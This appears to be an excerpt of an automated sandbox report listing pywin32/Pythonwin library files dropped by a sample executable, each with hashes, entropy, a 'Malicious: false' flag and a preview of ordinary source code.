SHA1:	6617C832DE99E3566A83B38640BF9C36B8908BA9
SHA-256:	30EAC40A598F11C20A0BA1008674651070D4FF7CC621F16F57C598D8CDBA52D9
SHA-512:	75C9DAE3DEDCBA988B5708AEB9DB717449F0BFAEB4916A2F0E1EC478CDC0EDEC57F52852693DD1140745C91C523F64AF154651E7F5DBE2F07A630826E5752627
Malicious:	false
Preview:	# document and view classes for MFC..import win32ui..from . import object, window...class View(window.Wnd):. def __init__(self, initobj):. window.Wnd.__init__(self, initobj).. def OnInitialUpdate(self):. pass...# Simple control based views..class CtrlView(View):. def __init__(self, doc, wndclass, style=0):. View.__init__(self, win32ui.CreateCtrlView(doc, wndclass, style))...class EditView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateEditView(doc))...class RichEditView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateRichEditView(doc))...class ListView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateListView(doc))...class TreeView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateTreeView(doc))...# Other more advanced views..class ScrollView(View):. def __init__(self, doc):. View.__init__(self, win32ui.CreateView(

C:\recover\pw\Lib\site-packages\pythonwin\pywin\mfc\object.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2179
Entropy (8bit):	4.386077735543855
Encrypted:	false
SSDEEP:	24:qAibk/bJALTEZu2CSfkN3KylseLVWLLNHLIKaNBKANAFG9bxIXGEs9bxI8EUds9h:qhA/t6n2CEeakP4TnEcGUGNz9dsR6C
MD5:	BE71EA2BF0C288E3AA3A2E30C08DF3E5
SHA1:	40E4B56C7DFF8623572D639D944C096C84E8B8F8
SHA-256:	2BB20C2218306A176B063BC860092852EA94186F385815F3E07388033CC69F1A
SHA-512:	A0DDA0B0A790E385FB0BE69659FB97D9645A3208C08E07400284C81F5CACE190AD115DAC8350133BA445E53AC0AFD686980274A70148CF376D46AAB3D9CF4784
Malicious:	false
Preview:	# MFC base classes...import win32ui...class Object:. def __init__(self, initObj=None):. self.__dict__["_obj_"] = initObj. # ..self._obj_ = initObj. if initObj is not None:. initObj.AttachObject(self).. def __del__(self):. self.close().. def __getattr__(. self, attr. ): # Make this object look like the underlying win32ui one.. # During cleanup __dict__ is not available, causing recursive death.. if not attr.startswith("__"):. try:. o = self.__dict__["_obj_"]. if o is not None:. return getattr(o, attr). # Only raise this error for non "internal" names -. # Python may be calling __len__, __nonzero__, etc, so. # we dont want this exception. if attr[0] != "_" and attr[-1] != "_":. raise win32ui.error("The MFC object has died."). except KeyError:. # No _obj_

C:\recover\pw\Lib\site-packages\pythonwin\pywin\mfc\thread.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	588
Entropy (8bit):	4.556501995844858
Encrypted:	false
SSDEEP:	12:GIALHr171Ap0ZbZMiQlApOAgab6QAtqI1Ap9wyCeVAApn:G/1hAiZbZMiQlA9biqMAoyCKAAd
MD5:	CFE2192D3AEFC770DCF8AF46489267F6
SHA1:	7FE1659F61EA201667A114911ECBBE08DC9667D4
SHA-256:	CA5B09C8E52F81F206DC58C631605F915229B034038C7900B527E3DD7CF3AB33
SHA-512:	9A6BF373CFA64D3F3A96CB228DA1EA15F9CB6E5D9106515BB6AEE9E8C5C4E406142199636FA07C44AFFC25A7D704CBDCC7BF0C3745E0BC40DE7850C25B6F97F8
Malicious:	false
Preview:	# Thread and application objects..import win32ui..from . import object...class WinThread(object.CmdTarget):. def __init__(self, initObj=None):. if initObj is None:. initObj = win32ui.CreateThread(). object.CmdTarget.__init__(self, initObj).. def InitInstance(self):. pass # Default None/0 return indicates success for InitInstance().. def ExitInstance(self):. pass...class WinApp(WinThread):. def __init__(self, initApp=None):. if initApp is None:. initApp = win32ui.GetApp(). WinThread.__init__(self, initApp).

C:\recover\pw\Lib\site-packages\pythonwin\pywin\mfc\window.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1499
Entropy (8bit):	4.791197957899837
Encrypted:	false
SSDEEP:	24:Llv9hACilAbMkpo3m71f93B4/U/9qR/MZRlTph2XJhWv7AnAf1UcAOwAJMAfF0HY:lDBUk71fgqoR0ZR45W7E8UcpbJMDHYX/
MD5:	C6FAA92255CC9C8FB700A0F740E41762
SHA1:	AA1CB1637DD14BBDA6392E1CB7FBFD5C20F01AF4
SHA-256:	9A970EB30140B49C4A41A18FF5B415DAA1D72867D4FB16302E3705272A238E3B
SHA-512:	1EF564380ECF3773F5935A3F29D61A7711E7187733092F227B6468D759C6CF40653BE8F7B364898AE9D2B5C052DCB5F8441D59D8EC8196004ECD8A3CD3619A2C
Malicious:	false
Preview:	# The MFCish window classes..import win32con.import win32ui..from . import object...class Wnd(object.CmdTarget):. def __init__(self, initobj=None):. object.CmdTarget.__init__(self, initobj). if self._obj_:. self._obj_.HookMessage(self.OnDestroy, win32con.WM_DESTROY).. def OnDestroy(self, msg):. pass...# NOTE NOTE - This facility is currently disabled in Pythonwin!!!!!.# Note - to process all messages for your window, add the following method.# to a derived class. This code provides default message handling (ie, is.# identical, except presumably in speed, as if the method did not exist at.# all, so presumably will be modified to test for specific messages to be.# useful!.# .def WindowProc(self, msg, wParam, lParam):.# ..rc, lResult = self._obj_.OnWndMsg(msg, wParam, lParam).# ..if not rc: lResult = self._obj_.DefWindowProc(msg, wParam, lParam).# ..return lResult...class FrameWnd(Wnd):. def __init__(self, wnd):. Wnd.__init__(self, wnd)...c

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\IDLEenvironment.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19556
Entropy (8bit):	4.497661683256965
Encrypted:	false
SSDEEP:	192:8q8UCTL5cBIPkuH31nfeOy2qjT+jQu/MA6eE5vSIaKKrTH/ZD/XUFrKK/So4e2ve:8rUsF/fUQ/PfEzihzXnKz4pvdelM0SFk
MD5:	30649C93971721EFE505F0A6938C339E
SHA1:	300BCF617E09E262C3CC32B736B721D701F5D1C9
SHA-256:	F7D11254FBB78D58C665E80B3A360AB72C2D8513C118E2EF3D4EB180C0FB0404
SHA-512:	165B1ED569A6FBF9E774C1A7E64BEB919073B312C2E0AA9E7CB56D742C6B8CAFFBDB927BCC2759D1A040D9B5C41846906DDF9A268F1E93C3AD6FE16442261E25
Malicious:	false
Preview:	# Code that allows Pythonwin to pretend it is IDLE.# (at least as far as most IDLE extensions are concerned)..import string.import sys..import win32api.import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc.dialog import GetSimpleInput..wordchars = string.ascii_uppercase + string.ascii_lowercase + string.digits...class TextError(Exception): # When a TclError would normally be raised.. pass...class EmptyRange(Exception): # Internally raised.. pass...def GetIDLEModule(module):. try:. # First get it from Pythonwin it is exists.. modname = "pywin.idle." + module. __import__(modname). except ImportError as details:. msg = (. "The IDLE extension '%s' can not be located.\r\n\r\n". "Please correct the installation and restart the". " application.\r\n\r\n%s" % (module, details). ). win32ui.MessageBox(msg). return None. mod = sys.modules[modname]. mod.TclError

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:ShZMcb:ShZMcb
MD5:	1DB1C834652DC978B6EBA0094585AF4B
SHA1:	8ECAC16CF8E6EF9613A72D899DFCF06BE97CAD49
SHA-256:	BAA89C209D8D74CA2A98B62E725B7D2A6775F6207EC3E405DF272E06979A3BF0
SHA-512:	5C6C13B1A389531F409172B59CE79E7AE4B64647DB6F8CEF291A3134C2BC7D8E1235040A7E610FC2BC790872DD5D05AB44DD3CA5368D44EEF802A419D715490B
Malicious:	false
Preview:	# package init..

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\bindings.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6001
Entropy (8bit):	4.567243978762066
Encrypted:	false
SSDEEP:	96:BU0On+MU9hSodi81OFpGNe+TpY7xgyfsuffaUhTbWrqSz8t937bad2iPjz80JoUe:GWy4azmiL+Mi8w4
MD5:	4D63B46F085EDD1B3F26492C060BE02F
SHA1:	492669F778D75AB612251026C0857529237910F2
SHA-256:	DABDFAA846E98F4B0CE096518E120A8DDBBB8410796D6D9D88143253AF0995A8
SHA-512:	FFDA160E7D8890E92E546688E720B7B742F803B2847D766EC0C652980296F8E883F0214831964B45BF2798D55EBF92D0133B8530FD57EFEB3C3604DC00DB60CB
Malicious:	false
Preview:	import traceback..import win32api.import win32con.import win32ui..from . import IDLEenvironment, keycodes..HANDLER_ARGS_GUESS = 0.HANDLER_ARGS_NATIVE = 1.HANDLER_ARGS_IDLE = 2.HANDLER_ARGS_EXTENSION = 3..next_id = 5000..event_to_commands = {} # dict of integer IDs to event names..command_to_events = {} # dict of event names to int IDs...def assign_command_id(event, id=0):. global next_id. if id == 0:. id = event_to_commands.get(event, 0). if id == 0:. id = next_id. next_id = next_id + 1. # Only map the ones we allocated - specified ones are assumed to have a handler. command_to_events[id] = event. event_to_commands[event] = id. return id...class SendCommandHandler:. def __init__(self, cmd):. self.cmd = cmd.. def __call__(self, *args):. win32ui.GetMainFrame().SendMessage(win32con.WM_COMMAND, self.cmd)...class Binding:. def __init__(self, handler, handler_args_type):. self.handler = handler.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\config.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12462
Entropy (8bit):	4.140685505289245
Encrypted:	false
SSDEEP:	192:3eNXZMJrwYuoMtcYFnPs3o0yKbNIllpQbXi44yamr83IoXNh5CBR/OX:3sXZSwKu0nuXSOHbay
MD5:	A3B4EA466176089EB9A997B7A42080B4
SHA1:	7C308DA4113AF4AB5C915D5D03E876B1405BF298
SHA-256:	FE72E043C6DD33F7DA48B20AA3DDE5B9720D9B8053FB8B6AE647A42E80DFFE69
SHA-512:	A3F6023BC2970BE7508BFC569060464B952E84FF889E100D5ACDA7DAF096B79EB4DCF0AAFE3F4AAC7699513881D09C22C08683CF61EC0BC105C6A2E738A4F89D
Malicious:	false
Preview:	# config.py - deals with loading configuration information...# Loads config data from a .cfg file. Also caches the compiled.# data back into a .cfc file...# If you are wondering how to avoid needing .cfg files (eg,.# if you are freezing Pythonwin etc) I suggest you create a.# .py file, and put the config info in a docstring. Then.# pass a CStringIO file (rather than a filename) to the.# config manager..import glob.import importlib.util.import marshal.import os.import stat.import sys.import traceback.import types..import pywin.import win32api..from . import keycodes..debugging = 0.if debugging:. import win32traceutil # Some trace statements fire before the interactive window is open... def trace(args):. sys.stderr.write(" ".join(map(str, args)) + "\n")..else:. trace = lambda args: None..compiled_config_version = 3...def split_line(line, lineno):. comment_pos = line.find("#"). if comment_pos >= 0:. line = line[:comment_pos]. sep_pos = line.rfind("=").

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\configui.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11205
Entropy (8bit):	4.821865216685485
Encrypted:	false
SSDEEP:	192:XfMdKQOJagYIqGwYCfjr3Igem/I4dHqYKNt4SeiQSQe1HY7b5dSYlJLoe1jGeFgx:XkMkImIFAs1gnPLoU6p6+
MD5:	CBE37DC6081DCCCAB596CC4174B049A8
SHA1:	6CED1ED7EBB1E74502315B16951AC7D7CD7C0136
SHA-256:	0FA2FA6B662FC92DB265DF581E8A6CFC89B977761817A729B63BCF521A351692
SHA-512:	CF3C72CACBDF3E606DD9DF96FEFBD973BEFAF4D3A16FF3CA81B8DC40B447F8A16EA2E7BBDCA30E6766C9835A44BD93E0D4A294EF256AF18F176AB01FDF5D4181
Malicious:	false
Preview:	import win32api.import win32con.import win32ui.from pywin.mfc import dialog..# Used to indicate that style should use default color.from win32con import CLR_INVALID..from . import scintillacon..######################################################.# Property Page for syntax formatting options..# The standard 16 color VGA palette should always be possible.paletteVGA = (. ("Black", win32api.RGB(0, 0, 0)),. ("Navy", win32api.RGB(0, 0, 128)),. ("Green", win32api.RGB(0, 128, 0)),. ("Cyan", win32api.RGB(0, 128, 128)),. ("Maroon", win32api.RGB(128, 0, 0)),. ("Purple", win32api.RGB(128, 0, 128)),. ("Olive", win32api.RGB(128, 128, 0)),. ("Gray", win32api.RGB(128, 128, 128)),. ("Silver", win32api.RGB(192, 192, 192)),. ("Blue", win32api.RGB(0, 0, 255)),. ("Lime", win32api.RGB(0, 255, 0)),. ("Aqua", win32api.RGB(0, 255, 255)),. ("Red", win32api.RGB(255, 0, 0)),. ("Fuchsia", win32api.RGB(255, 0, 255)),. ("Yellow", win32api.RGB(255, 255, 0)),. ("White

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\control.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20451
Entropy (8bit):	4.87683613229855
Encrypted:	false
SSDEEP:	192:fYn+8crQpwpUQDvR0dYWNQMCQrzchIxGml+Bkhrdxaloyp61ZC5Nm5:wJcrFvR0Wp7QPnv+BkhrdxJ25Q5
MD5:	751CFD7DFE3C718847F3726B1763ECBD
SHA1:	AD3E5B090323C9E40FAA4F61401E43CD09781526
SHA-256:	42BAAB81F5657703CF5203687BC0608FA47763691ECBA0330D4A716ACFB185CD
SHA-512:	097BFE19E1FD9D1198DCE6C91E28237EED7C30C232372C47C619677EEE8ABADFC26D015E5638AA48A0235CD0A3E0D15257B370D1D8D67D5571AB01EEA596F2F2
Malicious:	false
Preview:	# An Python interface to the Scintilla control..#.# Exposes Python classes that allow you to use Scintilla as.# a "standard" MFC edit control (eg, control.GetTextLength(), control.GetSel().# plus many Scintilla specific features (eg control.SCIAddStyledText())..import array.import os.import struct..import win32api.import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc import window..from . import scintillacon..# Load Scintilla.dll to get access to the control..# We expect to find this in the same directory as win32ui.pyd.dllid = None.if win32ui.debug: # If running _d version of Pythonwin.... try:. dllid = win32api.LoadLibrary(. os.path.join(os.path.split(win32ui.__file__)[0], "Scintilla_d.DLL"). ). except (. win32api.error. ): # Not there - we dont _need_ a debug ver, so ignore this error.. pass.if dllid is None:. try:. dllid = win32api.LoadLibrary(. os.path.join(os.path.split(win

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\document.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11468
Entropy (8bit):	4.53438787213757
Encrypted:	false
SSDEEP:	96:569gsArInvW2tgKfCFtbwt+WisHAtbJwqxavtjdTgRkzLv0PC/C/C2NCNyG3hNVx:5u4CWwbiXtbWqxUtQA33hNVVbEiqS
MD5:	332D0E872EC47EEDB2AB3977608B8030
SHA1:	257F0DA57EDFA8DD6139572C41A4F96F37BB238A
SHA-256:	2A79B8ECBE1BEFDBA9779742C1662A5C51F7B4E02630F0A5E79CCA47C9B2056C
SHA-512:	DC641DE102D9EF4EDCEE5DCAAD347CA5E264A664041718592875CAB75EBA60E8BCEC88B89E540175F0AEC4105FF5D14A130959C4E4ACB7757F06E3DC8528B8E6
Malicious:	false
Preview:	import codecs.import re.import string..import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc import docview..from . import scintillacon..crlf_bytes = "\r\n".encode("ascii").lf_bytes = "\n".encode("ascii")..# re from pep263 - but we use it both on bytes and strings..re_encoding_bytes = re.compile("coding[:=]\s([-\w.]+)".encode("ascii")).re_encoding_text = re.compile("coding[:=]\s([-\w.]+)")..ParentScintillaDocument = docview.Document...class CScintillaDocument(ParentScintillaDocument):. "A SyntEdit document.".. def __init__(self, *args):. self.bom = None # the BOM, if any, read from the file.. # the encoding we detected from the source. Might have. # detected via the BOM or an encoding decl. Note that in. # the latter case (ie, while self.bom is None), it can't be. # trusted - the user may have edited the encoding decl between. # open and save.. self.source_encoding = None. ParentScin

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\find.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16767
Entropy (8bit):	4.472904609296871
Encrypted:	false
SSDEEP:	384:XOmx0wcpIIdQQ8uHcuBTWLOG+sZt4DMj9WAge+gnBGEF/R+sjTAL6:XOK0whIdQwiBWAgeTnBGEg+
MD5:	43EEE7F984417490D1A5762541F1FA55
SHA1:	D725A912D96EF3A0E6ECD8E803DA69F741A4B4D2
SHA-256:	8795FF82596A683F8C66C906C69D4DF9A908053224B2BB42EF933E45563AC3B1
SHA-512:	67BB7C160C94BFA66D2B3F667782C650B7E008CACB02E5FE0714418740136DE7EBDB377166384C70CAEFD88003A6F5387981CD27AF10921B2D30C01F3814969B
Malicious:	false
Preview:	# find.py - Find and Replace.import afxres.import win32api.import win32con.import win32ui.from pywin.framework import scriptutils.from pywin.mfc import dialog..FOUND_NOTHING = 0.FOUND_NORMAL = 1.FOUND_LOOPED_BACK = 2.FOUND_NEXT_FILE = 3...class SearchParams:. def __init__(self, other=None):. if other is None:. self.__dict__["findText"] = "". self.__dict__["replaceText"] = "". self.__dict__["matchCase"] = 0. self.__dict__["matchWords"] = 0. self.__dict__["acrossFiles"] = 0. self.__dict__["remember"] = 1. self.__dict__["sel"] = (-1, -1). self.__dict__["keepDialogOpen"] = 0. else:. self.__dict__.update(other.__dict__).. # Helper so we cant misspell attributes :-). def __setattr__(self, attr, val):. if not hasattr(self, attr):. raise AttributeError(attr). self.__dict__[attr] = val...curDialog = None.lastSearch = defaultSearch = SearchParams().se

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\formatter.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	26477
Entropy (8bit):	4.642478730234446
Encrypted:	false
SSDEEP:	768:ZtCUb7G63428DdfC6epkn29/rD/R7/RYd:ZtCUb7R3+YrD5g
MD5:	564750E4B264BB2215CBCA6B86C3A939
SHA1:	A90B44FDE7B72D7C0F6444FB9EE5A5DD778558C7
SHA-256:	C949D863189E53E64A3E4E4698259A7C08AA97E3B021D874AB02554D3F53DEFE
SHA-512:	6511065D73986943C28A2EEF44EB1F795D670983939800F06186E06895646365D65490699088997F00E9ECC492874E7A763C515F7EEDEF0E95B8E7C7AA96BDE4
Malicious:	false
Preview:	# Does Python source formatting for Scintilla controls..import array.import string..import win32api.import win32con.import win32ui..from . import scintillacon..WM_KICKIDLE = 0x036A..# Used to indicate that style should use default color.from win32con import CLR_INVALID..debugging = 0.if debugging:. # Output must go to another process else the result of. # the printing itself will trigger again trigger a trace... import win32trace. import win32traceutil.. def trace(args):. win32trace.write(" ".join(map(str, args)) + "\n")..else:. trace = lambda args: None...class Style:. """Represents a single format""".. def __init__(self, name, format, background=CLR_INVALID):. self.name = name # Name the format representes eg, "String", "Class". # Default background for each style is only used when there are no. # saved settings (generally on first startup). self.background = self.default_background = background. if type(format) ==

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\keycodes.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5311
Entropy (8bit):	4.9515679287644865
Encrypted:	false
SSDEEP:	96:fmMcnIBQAJEOASvuCYGBCeDuTc9AH06KilDyRpdePihq9tocFph:ednILJfApjeTAUYJEd2vocFph
MD5:	B6AA32DEF3E71413907DB6CF732938EF
SHA1:	F933BF73F2A377524E542F3AFF97B50851FB84BF
SHA-256:	B8E577BA367521A732C89850FE25AA37D35BBF28CA677E4243B9E8A298588F24
SHA-512:	0F6192D939BA4BE7642D854EEB2D653CE309828AE5499FF5E3C6A5A463A64962875663520F13405716948368F0E152F2F57BC3ECB734725BB60B9CE474A12ECA
Malicious:	false
Preview:	import win32api.import win32con.import win32ui..MAPVK_VK_TO_CHAR = 2..key_name_to_vk = {}.key_code_to_name = {}.._better_names = {. "escape": "esc",. "return": "enter",. "back": "pgup",. "next": "pgdn",.}...def _fillvkmap():. # Pull the VK_names from win32con. names = [entry for entry in win32con.__dict__ if entry.startswith("VK_")]. for name in names:. code = getattr(win32con, name). n = name[3:].lower(). key_name_to_vk[n] = code. if n in _better_names:. n = _better_names[n]. key_name_to_vk[n] = code. key_code_to_name[code] = n..._fillvkmap()...def get_vk(chardesc):. if len(chardesc) == 1:. # it is a character.. info = win32api.VkKeyScan(chardesc). if info == -1:. # Note: returning None, None causes an error when keyboard layout is non-English, see the report below. # https://stackoverflow.com/questions/45138084/pythonwin-occasionally-gives-an-error-on-opening.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\scintillacon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	45141
Entropy (8bit):	4.753874334221887
Encrypted:	false
SSDEEP:	768:H/xT8adr5ufbUAeNuEgsy8x6QyUCNpjx7LYLmq:HZT8adQfb8gsKx7LYLmq
MD5:	6CE12A4CBC3EBC97708577BF982A18B2
SHA1:	32A7270DC458D919CD74EF662E52F3B05B324FBD
SHA-256:	A0C44596B1F9F79B527701C643FAFDDA71BA731A3813A3D29AFECFE734C919EB
SHA-512:	DF65C2829331C9858C3824E09D18F829EB89ADCE281C4B27430ABB50218F224F951108E53162143B1975186BE390C9459644070DFFB8A9DE512CF402FF3DDBFB
Malicious:	false
Preview:	# Generated by h2py from Include\scintilla.h...# Included from BaseTsd.h.def HandleToUlong(h):. return HandleToULong(h)...def UlongToHandle(ul):. return ULongToHandle(ul)...def UlongToPtr(ul):. return ULongToPtr(ul)...def UintToPtr(ui):. return UIntToPtr(ui)...INVALID_POSITION = -1.SCI_START = 2000.SCI_OPTIONAL_START = 3000.SCI_LEXER_START = 4000.SCI_ADDTEXT = 2001.SCI_ADDSTYLEDTEXT = 2002.SCI_INSERTTEXT = 2003.SCI_CLEARALL = 2004.SCI_CLEARDOCUMENTSTYLE = 2005.SCI_GETLENGTH = 2006.SCI_GETCHARAT = 2007.SCI_GETCURRENTPOS = 2008.SCI_GETANCHOR = 2009.SCI_GETSTYLEAT = 2010.SCI_REDO = 2011.SCI_SETUNDOCOLLECTION = 2012.SCI_SELECTALL = 2013.SCI_SETSAVEPOINT = 2014.SCI_GETSTYLEDTEXT = 2015.SCI_CANREDO = 2016.SCI_MARKERLINEFROMHANDLE = 2017.SCI_MARKERDELETEHANDLE = 2018.SCI_GETUNDOCOLLECTION = 2019.SCWS_INVISIBLE = 0.SCWS_VISIBLEALWAYS = 1.SCWS_VISIBLEAFTERINDENT = 2.SCI_GETVIEWWS = 2020.SCI_SETVIEWWS = 2021.SCI_POSITIONFROMPOINT = 2022.SCI_POSITIONFROMPOINTCLOSE = 2023.SCI_GOTOLINE

C:\recover\pw\Lib\site-packages\pythonwin\pywin\scintilla\view.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30922
Entropy (8bit):	4.678252073720509
Encrypted:	false
SSDEEP:	768:VPPoj9LKOzvG0Xfz3txxYnbPNX8koA79s2MaqlBw+/huXjNv3:VInebVskoAZ0l3K
MD5:	578AF53BD25A2A596BEB0AA5E4319087
SHA1:	1719626B7551DF72AE3EC3459C42BC5B7C6CA18C
SHA-256:	E4B7E75D163FFFED423B15A2F04763BE863FF50E2EEC3DA3CB61C60700ECE537
SHA-512:	3C571549C22313267B84E06C273D7C1C014C378BF511688AD40162C0EB9C517F81410898C36BAE1DB4BDEB6E11DE8B1F176954E7652B74DF28CB6894598F200E
Malicious:	false
Preview:	# A general purpose MFC CCtrlView view that uses Scintilla...import array.import os.import re.import string.import struct.import sys..import __main__ # for attribute lookup.import afxres.import win32con.import win32ui.from pywin.mfc import dialog, docview..from . import IDLEenvironment # IDLE emulation..from . import bindings, control, keycodes, scintillacon..PRINTDLGORD = 1538.IDC_PRINT_MAG_EDIT = 1010.EM_FORMATRANGE = win32con.WM_USER + 57..wordbreaks = "._" + string.ascii_uppercase + string.ascii_lowercase + string.digits..patImport = re.compile("import (?P<name>.*)").._event_commands = [. # File menu. "win32ui.ID_FILE_LOCATE",. "win32ui.ID_FILE_CHECK",. "afxres.ID_FILE_CLOSE",. "afxres.ID_FILE_NEW",. "afxres.ID_FILE_OPEN",. "afxres.ID_FILE_SAVE",. "afxres.ID_FILE_SAVE_AS",. "win32ui.ID_FILE_SAVE_ALL",. # Edit menu. "afxres.ID_EDIT_UNDO",. "afxres.ID_EDIT_REDO",. "afxres.ID_EDIT_CUT",. "afxres.ID_EDIT_COPY",. "afxres.ID_EDIT_PASTE",.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\tools\TraceCollector.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2432
Entropy (8bit):	4.6952598205507305
Encrypted:	false
SSDEEP:	48:x0JhIhxBtUd0xPBt6Mj8ETIXPtLp87Km0riLVkxyKhwTXhpJq:ujABtUSJ2MjfIV+Km0rI+xOTXnA
MD5:	B73BEB3DBC8744897E9AA1880591FFF4
SHA1:	D34D555A31BCD0BF2EF50BC8FEC2CD99CD31FDA0
SHA-256:	2075C84B82B5D7452448F7199857CFE67FBF262A67DAFBBC12282FD8A2647F7E
SHA-512:	9F5A29F33051111FA6CDB90BA51DFA6CE32572216135E7A88109664358FE57FE228617DC6E6C386C5FD08AB1D970F25C791A775826289565F8CA6C1E874DDD4C
Malicious:	false
Preview:	# win32traceutil like utility for Pythonwin.import _thread..import win32api.import win32event.import win32trace.from pywin.framework import winout..outputWindow = None...def CollectorThread(stopEvent, file):. win32trace.InitRead(). handle = win32trace.GetHandle(). # Run this thread at a lower priority to the main message-loop (and printing output). # thread can keep up. import win32process.. win32process.SetThreadPriority(. win32api.GetCurrentThread(), win32process.THREAD_PRIORITY_BELOW_NORMAL. ).. try:. while 1:. rc = win32event.WaitForMultipleObjects(. (handle, stopEvent), 0, win32event.INFINITE. ). if rc == win32event.WAIT_OBJECT_0:. # About the only char we can't live with is \0!. file.write(win32trace.read().replace("\0", "<null>")). else:. # Stop event. break. finally:. win32trace.TermRead(). print("Thread di

C:\recover\pw\Lib\site-packages\pythonwin\pywin\tools\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Preview:	.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\tools\browseProjects.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9513
Entropy (8bit):	4.680041511661725
Encrypted:	false
SSDEEP:	96:p/W/rkzTFAazbt9Dx4GVnaEP9lZEjWWLFkiNudhm91XJpvaitjYnrZHTTP8bBkoS:p7FNzbmaVk+i4dh8Nvaxr9lulvVuNcQF
MD5:	C67199515363B12BF75D3EDFF4763C10
SHA1:	29DD9457F98E254190AFC7E1686C53CE74DE9442
SHA-256:	EECF9774CF2593A982058BBC453AAB3AB71C69D83D1B0F20D5573E943BEDB840
SHA-512:	B8B47D4BF7DB87E8C72D404D8FF72EDE5B7D767933CBB97E0383C9F1E86172D5C0F7CFA13A59726A06531DCB153807EA678E602B16F84B020785F8D9801985E8
Malicious:	false
Preview:	import glob.import os.import pyclbr..import afxres.import commctrl.import pywin.framework.scriptutils.import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import dialog..from . import hierlist...class HLIErrorItem(hierlist.HierListItem):. def __init__(self, text):. self.text = text. hierlist.HierListItem.__init__(self).. def GetText(self):. return self.text...class HLICLBRItem(hierlist.HierListItem):. def __init__(self, name, file, lineno, suffix=""):. # If the 'name' object itself has a .name, use it. Not sure. # how this happens, but seems pyclbr related.. # See PyWin32 bug 817035. self.name = getattr(name, "name", name). self.file = file. self.lineno = lineno. self.suffix = suffix.. def __lt__(self, other):. return self.name < other.name.. def __eq__(self, other):. return self.name == other.name.. def GetText(self):. return self.name + self.suffix..

C:\recover\pw\Lib\site-packages\pythonwin\pywin\tools\browser.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13614
Entropy (8bit):	4.660208912137426
Encrypted:	false
SSDEEP:	192:AQRzk+RSijEnCqELxf5iFQmCaWVeAi6hzqoaEI:lRzk+RSi9xf5iCreh6hzqo9I
MD5:	D1A84A62078C722CA626ABD14BA2C369
SHA1:	48EC77E5E3B5290201843098A5B6FEDE768F84D6
SHA-256:	6293D32C361E69FB09D5217DEE949E4B15D6E2255B4DCC3C3759ABEF30FE9F28
